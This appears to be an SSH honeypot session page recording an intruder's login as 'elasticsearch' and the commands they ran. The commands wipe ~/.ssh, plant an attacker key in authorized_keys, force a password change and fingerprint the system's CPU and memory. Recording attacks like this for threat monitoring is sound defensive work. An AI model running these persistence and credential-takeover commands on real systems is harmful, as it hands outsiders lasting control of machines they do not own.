Session `8bdf08fa...`

Back to sessions

131.100.242.102

Connected

2026-09-02 09:41:03

Disconnected

session ended

Commands

Auth

Auth Attempts

#	Username	Method	Result
1	elasticsearch	password	ACCEPT

Commands

Time	Command	Exit
2026-09-02 09:41:04	`cd ~; chattr -ia .ssh; lockr -ia .ssh`	127
2026-09-02 09:41:05	`cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~`	0
2026-09-02 09:41:12	`cat /proc/cpuinfo \| grep name \| wc -l`	0
2026-09-02 09:41:13	`echo -e "elastic\n4GrItTNTGj6F\n4GrItTNTGj6F"\|passwd\|bash`	0
2026-09-02 09:41:14	`echo "elastic\n4GrItTNTGj6F\n4GrItTNTGj6F\n"\|passwd`	127
2026-09-02 09:41:15	`cat /proc/cpuinfo \| grep name \| head -n 1 \| awk '{print $4,$5,$6,$7,$8,$9;}'`	0
2026-09-02 09:41:16	`free -m \| grep Mem \| awk '{print $2 ,$3, $4, $5, $6, $7}'`	0
2026-09-02 09:41:17	`ls -lh $(which ls)`	0
2026-09-02 09:41:18	`crontab -l`	127

Captured Files

Path	Method	Hash	Size	VirusTotal
`/root/.ssh/authorized_keys`	modified	`a8460f44...`	389	32/73

Terminal Recording

root@app-01:~# cd ~; chattr -ia .ssh; lockr -ia .ssh
-bash: lockr: command not found
root@app-01:~# cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
root@app-01:~# cat /proc/cpuinfo | grep name | wc -l
root@app-01:~# echo -e "elastic\n4GrItTNTGj6F\n4GrItTNTGj6F"|passwd|bash
root@app-01:~# echo "elastic\n4GrItTNTGj6F\n4GrItTNTGj6F\n"|passwd
-bash: passwd: command not found
root@app-01:~# cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

root@app-01:~# free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
root@app-01:~# ls -lh $(which ls)

root@app-01:~# crontab -l
-bash: crontab: command not found
root@app-01:~# w
 14:22:31 up 27 min,  1 user,  load average: 0.08, 0.03, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    10.0.2.2         14:22    0.00s  0.02s  0.00s w

Download raw asciicast — play with asciinema play file.cast

Session 8bdf08fa...

Auth Attempts

Commands

Captured Files

Terminal Recording

Session `8bdf08fa...`